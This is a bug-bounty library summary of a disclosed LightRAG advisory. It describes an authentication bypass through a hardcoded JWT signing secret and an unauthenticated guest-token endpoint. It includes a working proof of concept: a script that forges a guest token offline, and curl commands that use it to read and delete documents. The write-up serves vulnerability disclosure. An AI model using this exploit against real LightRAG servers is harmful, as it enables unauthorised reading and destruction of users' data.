# LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

LightRAG's API-key-only mode accepts offline-forged guest JWTs signed with a hardcoded DEFAULT_TOKEN_SECRET, letting anonymous attackers read, delete and upload documents.

- Payout: Research
- Severity: critical
- Program: LightRAG
- Found by: patchmyday
- Disclosed: 2026-07-20
- CVE: CVE-2026-61740
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-f4vv-55c2-5789
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-f4vv-55c2-5789
- Tags: area:ai domain:ai domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:critical tech:jwt tech:python technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass vuln:secrets-leak

**Target:** LightRAG API server (FastAPI, /documents, /auth-status, /login)
**Root cause:** A hardcoded DEFAULT_TOKEN_SECRET is used as JWT signing key when AUTH_ACCOUNTS is unset, and combined_dependency short-circuits on any valid guest token before checking X-API-Key; /auth-status and /login mint guest tokens unauthenticated.
**Steps:**
1. Read `DEFAULT_TOKEN_SECRET="lightrag-jwt-default-secret-key!"` from `lightrag/api/config.py:54`.
2. Offline-mint a guest JWT: `jwt.encode({"sub":"guest","role":"guest","exp":...,"metadata":{"auth_mode":"disabled"}}, "lightrag-jwt-default-secret-key!", algorithm="HS256")`.
3. Send `curl -H "Authorization: Bearer <token>" http://target:9876/documents` — returns HTTP 200 instead of 403.
4. Alternatively `GET /auth-status` or `POST /login` returns a signed guest JWT to any unauthenticated caller.
5. Confirm destructive access: `curl -X DELETE -H "Authorization: Bearer <token>" http://target:9876/documents` returns success.
**How found:** External security review of LightRAG's API authentication flow; noticed the CVE-2026-30762 fix only guarded the AUTH_ACCOUNTS path, then traced the API-key-only branch through config.py, auth.py, lightrag_server.py and utils_api.py to find the guest-token short-circuit.
**Exploitation:** Attacker mints a guest JWT offline (no server contact) or fetches one from unauthenticated /auth-status, then calls any endpoint guarded by combined_auth — reading/deleting documents, uploading content, clearing caches, mutating the knowledge graph, and burning LLM credits via /query.
**Escalation:** Bypasses perimeter reverse-proxy auth that trusts LIGHTRAG_API_KEY; enables destructive document deletion and paid-LLM credit exhaustion.
**Insight:** When a prior fix guards one config branch, audit sibling deployment profiles — here the API-key-only mode skipped the same secret check, and the auth dependency's early-return on guest role ran before the API-key check.

## Proof of concept (copied exactly from the original report)

**Offline-minted guest JWT bypass script**

```
python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
```

**curl bypass with forged Bearer token**

```
# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200
```

**Destructive DELETE /documents with forged token**

```
# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200
```

